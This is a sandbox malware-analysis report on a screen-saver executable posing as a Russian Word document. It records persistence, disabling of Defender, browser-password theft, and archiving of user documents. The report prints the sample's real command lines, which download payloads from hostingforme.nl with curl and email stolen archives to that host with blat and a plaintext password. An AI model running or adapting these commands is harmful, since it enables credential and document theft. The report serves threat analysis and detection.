File name:

01.scr

Full analysis: https://app.any.run/tasks/27b640cc-b138-434d-b6b3-e1dcc3e8db84
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: August 19, 2024, 06:33:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

47115A8CCB7478061E614367805DAC37

SHA1:

82BC08039A45A89CA26A0FB1FA11D273AF5F672E

SHA256:

11DD1CBBA8FCA35A64715B90F0AC16D7F335281F753F3F7F49C44B03C98937F0

SSDEEP:

49152:2q+hsGgNp+nIuLg9TL87hoALGtkEmCl4RiEgzIgVnUkWq/vQ8V+mAavGJjGdqLzu:L+fgUg9TL87hBWkE2RHInUevbhYjGd44

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 01.scr.exe (PID: 3576)

    • Actions looks like stealing of personal data

      • driver.exe (PID: 3796)
      • driver.exe (PID: 3196)
      • wbpv.exe (PID: 3008)

    • Password recovery utility (NirSoft) for browsers is detected

      • wbpv.exe (PID: 3008)

    • Disables Windows Defender

      • DefenderControl.exe (PID: 2396)
      • DefenderControl.exe (PID: 4092)

    • Creates or modifies Windows services

      • DefenderControl.exe (PID: 2396)
      • DefenderControl.exe (PID: 4092)

    • Steals credentials from Web Browsers

      • wbpv.exe (PID: 3008)

    • Steals credentials

      • wbpv.exe (PID: 3008)

    • Uses NirSoft utilities to collect credentials

      • wbpv.exe (PID: 3008)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 2656)
      • driver.exe (PID: 2280)
      • driver.exe (PID: 3744)

    • Drops the executable file immediately after the start

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 2656)
      • driver.exe (PID: 2280)
      • driver.exe (PID: 3744)

    • Reads security settings of Internet Explorer

      • 01.scr.exe (PID: 3576)

    • Reads the Internet Settings

      • 01.scr.exe (PID: 3576)

    • Creates a software uninstall entry

      • 01.scr.exe (PID: 3576)

    • Executing commands from ".cmd" file

      • 01.scr.exe (PID: 3576)

    • Uses ATTRIB.EXE to modify file attributes

      • 01.scr.exe (PID: 3576)

    • Starts CMD.EXE for commands execution

      • 01.scr.exe (PID: 3576)

    • Found strings related to reading or modifying Windows Defender settings

      • 01.scr.exe (PID: 3576)

    • Changes default file association

      • WINWORD.EXE (PID: 3436)

    • Creates/Modifies COM task schedule object

      • WINWORD.EXE (PID: 3436)

    • Potential Corporate Privacy Violation

      • curl.exe (PID: 3424)

    • Connects to SMTP port

      • blat.exe (PID: 1164)
      • blat.exe (PID: 2452)
      • blat.exe (PID: 2816)

    • Application launched itself

      • DefenderControl.exe (PID: 4092)

    • Runs PING.EXE to delay simulation

      • cmd.exe (PID: 3728)

  • INFO

    • Reads the computer name

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • curl.exe (PID: 3060)
      • wmpnscfg.exe (PID: 3032)
      • curl.exe (PID: 3288)
      • curl.exe (PID: 2220)
      • driver.exe (PID: 3196)
      • driver.exe (PID: 3796)
      • blat.exe (PID: 2816)
      • driver.exe (PID: 3904)
      • driver.exe (PID: 448)
      • driver.exe (PID: 3100)
      • blat.exe (PID: 1164)
      • driver.exe (PID: 1344)
      • driver.exe (PID: 2688)
      • driver.exe (PID: 2656)
      • DefenderControl.exe (PID: 4092)
      • driver.exe (PID: 3784)
      • DefenderControl.exe (PID: 2396)
      • driver.exe (PID: 2280)
      • wbpv.exe (PID: 3008)
      • blat.exe (PID: 2452)
      • driver.exe (PID: 3744)

    • Create files in a temporary directory

      • 01.scr.exe (PID: 3576)
      • DefenderControl.exe (PID: 4092)
      • wbpv.exe (PID: 3008)

    • Checks supported languages

      • 01.scr.exe (PID: 3576)
      • curl.exe (PID: 3424)
      • curl.exe (PID: 3060)
      • wmpnscfg.exe (PID: 3032)
      • curl.exe (PID: 3288)
      • curl.exe (PID: 2220)
      • driver.exe (PID: 3100)
      • driver.exe (PID: 3196)
      • blat.exe (PID: 2816)
      • driver.exe (PID: 3904)
      • blat.exe (PID: 2412)
      • driver.exe (PID: 448)
      • blat.exe (PID: 1164)
      • driver.exe (PID: 3796)
      • blat.exe (PID: 828)
      • driver.exe (PID: 2688)
      • driver.exe (PID: 2656)
      • blat.exe (PID: 2672)
      • blat.exe (PID: 3816)
      • driver.exe (PID: 3784)
      • blat.exe (PID: 3828)
      • driver.exe (PID: 1344)
      • DefenderControl.exe (PID: 4092)
      • DefenderControl.exe (PID: 2396)
      • driver.exe (PID: 2280)
      • wbpv.exe (PID: 3008)
      • blat.exe (PID: 2452)
      • driver.exe (PID: 3744)

    • Reads Microsoft Office registry keys

      • 01.scr.exe (PID: 3576)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3032)

    • Reads mouse settings

      • DefenderControl.exe (PID: 4092)
      • DefenderControl.exe (PID: 2396)

    • Reads the machine GUID from the registry

      • wbpv.exe (PID: 3008)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Delphi generic (31.9)
.scr | Windows screen saver (29.4)
.dll | Win32 Dynamic Link Library (generic) (14.8)
.exe | Win32 Executable (generic) (10.1)
.exe | Win16/32 Executable Delphi generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 1992:06:19 22:22:17+00:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
PEType: PE32
LinkerVersion: 2.25
CodeSize: 148992
InitializedDataSize: 44544
UninitializedDataSize: -
EntryPoint: 0x25468
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
Comments: -
CompanyName: Редакционный совет журнала 2.docx
FileDescription: Редакционный совет журнала 2.docx Редакционный совет журнала
FileVersion: Редакционный совет ж
LegalCopyright: Редакционный совет журнала 2.docx
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
174
Monitored processes
82
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 01.scr.exe winword.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs attrib.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs curl.exe curl.exe wmpnscfg.exe no specs curl.exe curl.exe driver.exe driver.exe blat.exe driver.exe blat.exe driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe no specs blat.exe no specs driver.exe defendercontrol.exe no specs defendercontrol.exe driver.exe wbpv.exe blat.exe driver.exe ping.exe no specs 01.scr.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
368"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\DefenderControl.exeC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
448C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-d.rar D:\*.docx /yC:\Intel\driver.exe—cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
1
Modules
Images
c:\intel\driver.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
648"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd set pass-out=Outghj5698C:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
680"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\doc-c.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
744"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\tdata.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
828C:\Intel\blat.exe -to pass@hostingforme.nl -f "DOCX-E<out@hostingforme.nl>" -server mail.hostingforme.nl -port 587 -u out@hostingforme.nl -pw Outghj5698 -subject "Document USER-PC/admin" -body "Document USER-PC/admin" -attach "C:\Intel\docx-e.rar"C:\Intel\blat.exe—cmd.exe
User:
admin
Company:
http://www.blat.net/
Integrity Level:
HIGH
Description:
A Win32 command line eMail tool
Exit code:
12
Version:
3.2.24
Modules
Images
c:\intel\blat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\advapi32.dll
856"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\keys.rar http://hostingforme.nl//down/keys.rarC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
900"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\curl.exeC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
940"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-c.rar C:\*.docx /yC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1136"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\password.txtC:\Windows\System32\cmd.exe—01.scr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
14 930
Read events
14 000
Write events
602
Delete events
328

Modification events

(PID) Process:(3576) 01.scr.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Video Configurations
Value:
C:\Intel\go.exe
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\SysProcs
Operation:writeName:userprofile.exe
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\SysProcs
Operation:writeName:MpkL64.exe
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Operation:writeName:C:\Intel\userprofile.exe
Value:
DisableNXShowUI
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Operation:writeName:C:\Intel\MPKView.exe
Value:
DisableNXShowUI
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:DisplayName
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:DisplayVersion
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:VersionMajor
Value:
2
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:VersionMinor
Value:
0
(PID) Process:(3576) 01.scr.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Operation:writeName:Publisher
Value:
Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx
Executable files
7
Suspicious files
19
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
3436WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR2515.tmp.cvr —
MD5:—
SHA256:—
357601.scr.exeC:\Users\admin\AppData\Local\Temp\$inst\2.tmpcompressed
MD5:8708699D2C73BED30A0A08D80F96D6D7
SHA256:A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
3436WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:7FE7B03A4A266C4460482BBB30D686FB
SHA256:D7A5137541D5CDDC2F6DC906C263A052B9575E853639B1F2C385659B98F5F7E0
3100driver.exeC:\Intel\blat.exeexecutable
MD5:34C6DFA28C293B5F21A77F74D94DE16B
SHA256:E613D07619B28F896B4ADF24D888CF52814FA2EB89F261F2E4715485954251B7
3436WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docx.LNKbinary
MD5:E2AC9B6F40BF5C25A95B548049196997
SHA256:00A02C6FECDBD02A12E5274C4CA417FEA3EDE80DA72CAE16C8C07E612E5D887D
2220curl.exeC:\Intel\MPK.rarcompressed
MD5:74AEB2EEFA999AB31432E866E1D5C06D
SHA256:24336B19F6408359AADD955335C6D238060416B80915ADD63E1CEFB47B60D237
3196driver.exeC:\Intel\doc-c.rarcompressed
MD5:4876CDC3B39C991F0058ABBD55C86C80
SHA256:9B861CE5F7EC9F63463D478EE081B3837A9D771302EDC1084AE17C317036B49A
357601.scr.exeC:\Intel\Ðåäàêöèîííûé ñîâåò æóðíàëà 2.docxdocument
MD5:AD71E1CD5A83A3ABBF3D1FFC379846BF
SHA256:6C86608893463968BFDA0969AA1E6401411C0882662F3E70C1AC195EE7BD1510
3436WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lextext
MD5:F3B25701FE362EC84616A93A45CE9998
SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
3060curl.exeC:\Intel\pas.rarcompressed
MD5:1A80C5B3C8B7D8ED8277E2291DCEF230
SHA256:A4098A8E85E8244AECE78B2E4BDC62A06781D57FE540F315E0441BA29060BCE1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
21
DNS requests
10
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3424
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/driver.exe
unknown
—
—
malicious
3060
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/pas.rar
unknown
—
—
malicious
2220
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl/down/MPK.rar
unknown
—
—
malicious
1372
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?33775f6043c93e33
unknown
—
—
whitelisted
3288
curl.exe
GET
200
92.63.173.57:80
http://hostingforme.nl//down/keys.rar
unknown
—
—
malicious
1060
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2b2cfb908ae71288
unknown
—
—
whitelisted
1372
svchost.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1372
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
whitelisted
—
—
239.255.255.250:3702
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1372
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
1060
svchost.exe
224.0.0.252:5355
—
—
—
whitelisted
3424
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
3060
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
3288
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown
2220
curl.exe
92.63.173.57:80
hostingforme.nl
CLDIN B.V.
NL
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.206
whitelisted
hostingforme.nl
  • 92.63.173.57
unknown
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
whitelisted
crl.microsoft.com
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
mail.hostingforme.nl
  • 92.63.173.57
unknown

Threats

PID
Process
Class
Message
3424
curl.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1164
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2816
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2452
blat.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
01.scr